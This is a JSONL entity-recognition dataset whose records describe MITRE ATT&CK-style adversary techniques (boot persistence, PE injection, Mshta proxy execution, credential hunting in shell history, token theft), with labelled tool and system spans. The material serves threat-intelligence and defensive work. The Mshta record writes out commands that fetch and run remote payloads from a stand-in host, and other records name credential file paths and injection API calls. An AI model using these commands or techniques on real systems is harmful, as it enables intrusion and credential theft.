+{"text": "Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.\n\nAdversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.", "spans": {"SYSTEM: BIOS": [[364, 368]], "SYSTEM: UEFI": [[444, 448]]}, "info": {"source": "apt_reports", "name": "Pre-OS Boot"}}
+{"text": "**This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.**\n\nAdversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in Spearphishing Attachment and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through Exploitation for Client Execution, where adversaries will rely on macros being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit , Veil , and PowerSploit  are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell.", "spans": {"TOOL: PowerShell": [[576, 586], [1394, 1404]], "TOOL: PowerSploit": [[1194, 1205]], "TOOL: Metasploit": [[1170, 1180]], "SYSTEM: Windows": [[547, 554]], "VULNERABILITY: spearphishing": [[797, 810]]}, "info": {"source": "apt_reports", "name": "Scripting"}}
+{"text": "Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote <code>build</code> request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.\n\nAn adversary may take advantage of that <code>build</code> API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize Deploy Container using that custom image. If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment.", "spans": {"SYSTEM: Docker": [[208, 214]]}, "info": {"source": "apt_reports", "name": "Build Image on Host"}}
+{"text": "**This technique has been deprecated and should no longer be used.**\n\nAdversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory   and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited.", "spans": {"SYSTEM: PHP": [[719, 722], [810, 813]]}, "info": {"source": "apt_reports", "name": "Shared Webroot"}}
+{"text": "Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references.  \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {"SYSTEM: Windows": [[462, 469]]}, "info": {"source": "apt_reports", "name": "Portable Executable Injection"}}
+{"text": "Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.\n\nAdversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running <code>verclsid.exe /S /C {CLSID}</code>, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to Regsvr32). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.", "spans": {"SYSTEM: Windows": [[214, 221], [238, 245], [736, 743]]}, "info": {"source": "apt_reports", "name": "Verclsid"}}
+{"text": "Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. Establish Accounts), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries may directly leverage compromised email accounts for Phishing for Information or Phishing.", "spans": {"ORGANIZATION: Facebook": [[1001, 1009]], "ORGANIZATION: Google": [[1030, 1036]]}, "info": {"source": "apt_reports", "name": "Compromise Accounts"}}
+{"text": "Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.\n\nAdversaries use launchctl to execute commands and programs as Launch Agents or Launch Daemons. Common subcommands include: <code>launchctl load</code>,<code>launchctl unload</code>, and <code>launchctl start</code>. Adversaries can use scripts or manually run the commands <code>launchctl load -w \"%s/Library/LaunchAgents/%s\"</code> or <code>/bin/launchctl load</code> to execute Launch Agents or Launch Daemons.", "spans": {"FILEPATH: /bin/launchctl": [[601, 615]], "SYSTEM: macOS": [[137, 142]]}, "info": {"source": "apt_reports", "name": "Launchctl"}}
+{"text": "Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks. Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems. Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale Phishing or Distributed Denial of Service (DDoS).", "spans": {"VULNERABILITY: DDoS": [[625, 629]]}, "info": {"source": "apt_reports", "name": "Botnet"}}
+{"text": "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or SSH.\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.", "spans": {"TOOL: SSH": [[673, 676]]}, "info": {"source": "apt_reports", "name": "Network Device CLI"}}
+{"text": "Adversaries may search the command history on compromised systems for insecurely stored credentials.\n\nOn Linux and macOS systems, shells such as Bash and Zsh keep track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user's history file. For each user, this file resides at the same location: for example, `~/.bash_history` or `~/.zsh_history`. Typically, these files keeps track of the user's last 1000 commands.\n\nOn Windows, PowerShell has both a command history that is wiped after the session ends, and one that contains commands used in all sessions and is persistent. The default location for persistent history can be found in `%userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt`, but command history can also be accessed with `Get-History`. Command Prompt (CMD) on Windows does not have persistent history.\n\nUsers often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials.", "spans": {"FILEPATH: %userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt`,": [[714, 809]], "TOOL: PowerShell": [[506, 516], [762, 772]], "SYSTEM: macOS": [[115, 120]], "SYSTEM: Windows": [[497, 504], [754, 761], [895, 902]], "SYSTEM: Linux": [[105, 110]], "ORGANIZATION: Microsoft": [[744, 753]]}, "info": {"source": "apt_reports", "name": "Shell History"}}
+{"text": "Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls. Downgrade attacks typically take advantage of a system’s backward compatibility to force it into less secure modes of operation. \n\nAdversaries may downgrade and use various less-secure versions of features of a system, such as Command and Scripting Interpreters or even network protocols that can be abused to enable Adversary-in-the-Middle or Network Sniffing. For example, PowerShell versions 5+ includes Script Block Logging (SBL), which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to Impair Defenses while running malicious scripts that may have otherwise been detected.\n\nAdversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text. On Windows systems, adversaries may downgrade the boot manager to a vulnerable version that bypasses Secure Boot, granting the ability to disable various operating system security mechanisms.", "spans": {"TOOL: PowerShell": [[522, 532], [690, 700]], "SYSTEM: Windows": [[1007, 1014]]}, "info": {"source": "apt_reports", "name": "Downgrade Attack"}}
+{"text": "Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service <code>C API</code> or the high level <code>NSXPCConnection API</code> in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.\n\nAdversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler. This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct Exploitation for Privilege Escalation.", "spans": {"SYSTEM: macOS": [[93, 98]], "VULNERABILITY: code execution": [[77, 91]]}, "info": {"source": "apt_reports", "name": "XPC Services"}}
+{"text": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.\n\nAdversaries may use several methods to accomplish Virtualization/Sandbox Evasion such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.", "spans": {"TOOL: Sysinternals": [[756, 768]], "TOOL: Wireshark": [[770, 779]]}, "info": {"source": "apt_reports", "name": "Virtualization/Sandbox Evasion"}}
+{"text": "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", "spans": {"ORGANIZATION: Microsoft": [[408, 417]], "ORGANIZATION: Google": [[400, 406]]}, "info": {"source": "apt_reports", "name": "Web Service"}}
+{"text": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through OS Credential Dumping. Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.\n\nIn cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files. They may also be found as parameters to deployment commands in container logs. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.", "spans": {"SYSTEM: Windows": [[545, 552]], "SYSTEM: Group Policy": [[506, 518]]}, "info": {"source": "apt_reports", "name": "Credentials In Files"}}
+{"text": "Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.\n\nOne implementation of DNS Calculation is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.", "spans": {}, "info": {"source": "apt_reports", "name": "DNS Calculation"}}
+{"text": "Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code      \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files.  HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. \n\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>\n\nThey may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.", "spans": {"TOOL: mshta": [[22, 27], [205, 210], [515, 520], [557, 562], [706, 711], [864, 869]], "SYSTEM: Windows": [[120, 127]], "SYSTEM: Internet Explorer": [[441, 458], [898, 915]], "ORGANIZATION: Microsoft": [[311, 320]]}, "info": {"source": "apt_reports", "name": "Mshta"}}
+{"text": "Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in. Login items can be added via a shared file list or Service Management Framework. Shared file list login items can be set using scripting languages such as AppleScript, whereas the Service Management Framework uses the API call <code>SMLoginItemSetEnabled</code>.\n\nLogin items installed using the Service Management Framework leverage <code>launchd</code>, are not visible in the System Preferences, and can only be removed by the application that created them. Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder. Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize AppleScript and Native API calls to create a login item to spawn malicious executables. Prior to version 10.5 on macOS, adversaries can add login items by using AppleScript to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items. Adversaries can use a command such as <code>tell application “System Events” to make login item at end with properties /path/to/executable</code>. This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>. Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.", "spans": {"SYSTEM: macOS": [[1237, 1242]], "ORGANIZATION: Apple": [[1308, 1313]], "VULNERABILITY: privilege escalation": [[1900, 1920]]}, "info": {"source": "apt_reports", "name": "Login Items"}}
+{"text": "Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed (Develop Capabilities) or obtained (Obtain Capabilities) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.\n\nStaging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n* Staging web resources necessary to conduct Drive-by Compromise when a user browses to a site.\n* Staging web resources for a link target to be used with spearphishing.\n* Uploading malware or tools to a location accessible to a victim network to enable Ingress Tool Transfer.\n* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: Asymmetric Cryptography with Web Protocols).", "spans": {"SYSTEM: GitHub": [[552, 558]], "VULNERABILITY: spearphishing": [[964, 977]]}, "info": {"source": "apt_reports", "name": "Stage Capabilities"}}
+{"text": "Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link. \n\nTypically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link.\n\nLinks can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing.\n\nAdversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.", "spans": {"VULNERABILITY: spearphishing": [[286, 299], [639, 652]], "VULNERABILITY: phishing": [[1538, 1546]]}, "info": {"source": "apt_reports", "name": "Link Target"}}
+{"text": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.", "spans": {}, "info": {"source": "apt_reports", "name": "Multi-Stage Channels"}}
+{"text": "Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware, business email compromise (BEC) and fraud, \"pig butchering,\" bank hacking, and exploiting cryptocurrency networks. \n\nAdversaries may Compromise Accounts to conduct unauthorized transfers of funds. In the case of business email compromise or email fraud, an adversary may utilize Impersonation of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary. This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.\n\nExtortion by ransomware may occur, for example, when an adversary demands payment from a victim after Data Encrypted for Impact  and Exfiltration of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary. Adversaries may use dedicated leak sites to distribute victim data.\n\nDue to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as Data Destruction and business disruption.", "spans": {}, "info": {"source": "apt_reports", "name": "Financial Theft"}}
+{"text": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign. Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical Virtualization/Sandbox Evasion. While use of Virtualization/Sandbox Evasion may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.\n\nAdversaries may identify and block certain user-agents to evade defenses and narrow the scope of their attack to victims and platforms on which it will be most effective. A user-agent self-identifies data such as a user's software application, operating system, vendor, and version. Adversaries may check user-agents for operating system identification and then only serve malware for the exploitable software while ignoring all other operating systems.", "spans": {"SYSTEM: Active Directory": [[493, 509]]}, "info": {"source": "apt_reports", "name": "Execution Guardrails"}}
+{"text": "Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage.  Similar to File and Directory Discovery on a local host, after identifying available storage services (i.e. Cloud Infrastructure Discovery) adversaries may access the contents/objects stored in cloud infrastructure.\n\nCloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS  and List Blobs in Azure .", "spans": {"SYSTEM: AWS": [[578, 581]], "SYSTEM: Azure": [[601, 606]]}, "info": {"source": "apt_reports", "name": "Cloud Storage Object Discovery"}}
+{"text": "Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.\n\nAdversaries may generate these cookies in order to gain access to web resources. This differs from Steal Web Session Cookie and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces. The generation of web cookies often requires secret values, such as passwords, Private Keys, or other cryptographic seed values.\n\nOnce forged, adversaries may use these web cookies to access resources (Web Session Cookie), which may bypass multi-factor and other authentication protection mechanisms.", "spans": {}, "info": {"source": "apt_reports", "name": "Web Cookies"}}
+{"text": "Adversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records (Account Discovery), security or vulnerable software (Software Discovery), or hosts within a compromised network (Remote System Discovery).\n\nHost binaries may be leveraged to collect system logs. Examples include using `wevtutil.exe` or PowerShell on Windows to access and/or export security event information. In cloud environments, adversaries may leverage utilities such as the Azure VM Agent’s `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.\n\nAdversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis.\n\nIn addition to gaining a better understanding of the environment, adversaries may also monitor logs in real time to track incident response procedures. This may allow them to adjust their techniques in order to maintain persistence or evade defenses.", "spans": {"TOOL: PowerShell": [[422, 432]], "TOOL: wevtutil": [[405, 413]], "SYSTEM: Windows": [[436, 443]], "SYSTEM: Azure": [[566, 571]]}, "info": {"source": "apt_reports", "name": "Log Enumeration"}}
+{"text": "Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.\n\nAn adversary may perform Token Impersonation/Theft when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.\n\nWhen an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally Create Process with Token using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. Token Impersonation/Theft is also distinct from Make and Impersonate Token in that it refers to duplicating an existing token, rather than creating a new one.", "spans": {}, "info": {"source": "apt_reports", "name": "Token Impersonation/Theft"}}
+{"text": "Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.\n\nExfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network.", "spans": {"URL: https://api.github.com": [[168, 190]]}, "info": {"source": "apt_reports", "name": "Exfiltration to Code Repository"}}
+{"text": "Adversaries may log into accessible cloud services within a compromised environment using Valid Accounts that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user. \n\nMany enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., Cloud API), using commands such as <code>Connect-AZAccount</code> for Azure PowerShell, <code>Connect-MgGraph</code> for Microsoft Graph PowerShell, and <code>gcloud auth login</code> for the Google Cloud CLI.\n\nIn some cases, adversaries may be able to authenticate to these services via Application Access Token instead of a username and password.", "spans": {"TOOL: PowerShell": [[682, 692], [743, 753]], "SYSTEM: Google Cloud": [[798, 810]], "SYSTEM: Azure": [[676, 681]], "ORGANIZATION: Microsoft": [[727, 736]], "ORGANIZATION: Google": [[798, 804]]}, "info": {"source": "apt_reports", "name": "Cloud Services"}}
+{"text": "Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r , is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.", "spans": {}, "info": {"source": "apt_reports", "name": "Port Knocking"}}
+{"text": "Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files. Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the `IconEnvironmentDataBlock`) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory. \n\nAdversaries may abuse this LNK metadata to download malicious payloads. For example, adversaries have been observed using LNK files as phishing payloads to deliver malware. Once invoked (e.g., Malicious File), payloads referenced via external URLs within the LNK icon location field may be downloaded. These files may also then be invoked by Command and Scripting Interpreter/System Binary Proxy Execution arguments within the target path field of the LNK.\n\nLNK Icon Smuggling may also be utilized post compromise, such as malicious scripts executing an LNK on an infected host to download additional malicious payloads.", "spans": {"SYSTEM: Windows": [[158, 165]], "VULNERABILITY: phishing": [[546, 554]]}, "info": {"source": "apt_reports", "name": "LNK Icon Smuggling"}}
+{"text": "Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google, GitHub, or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.", "spans": {"SYSTEM: GitHub": [[382, 388]], "ORGANIZATION: Google": [[374, 380]]}, "info": {"source": "apt_reports", "name": "Web Services"}}
+{"text": "Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).  Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.\n\nFor example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container’s token and thereby gain access to Kubernetes API commands.  \n\nSimilarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment. If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges. \n\nIn Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication.\n\nToken theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow. An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls. Then, they can send a Spearphishing Link to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through Application Access Token.\n\nApplication access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens, allowing them to obtain new access tokens without prompting the user.", "spans": {"TOOL: PowerShell": [[2533, 2543]], "SYSTEM: Kubernetes": [[618, 628], [705, 715], [871, 881]], "SYSTEM: Azure": [[1199, 1204], [1292, 1297], [1345, 1350], [1466, 1471], [2468, 2473]], "ORGANIZATION: Microsoft": [[1930, 1939], [2434, 2443]], "VULNERABILITY: privilege escalation": [[537, 557]]}, "info": {"source": "apt_reports", "name": "Steal Application Access Token"}}
+{"text": "Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email. In some cases, they may rely upon the recipient populating information, then returning the file. The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. In other cases, adversaries may leverage techniques such as HTML Smuggling to harvest user credentials via fake login portals.\n\nAdversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.", "spans": {"VULNERABILITY: spearphishing": [[21, 34], [543, 556], [713, 726], [847, 860]]}, "info": {"source": "apt_reports", "name": "Spearphishing Attachment"}}
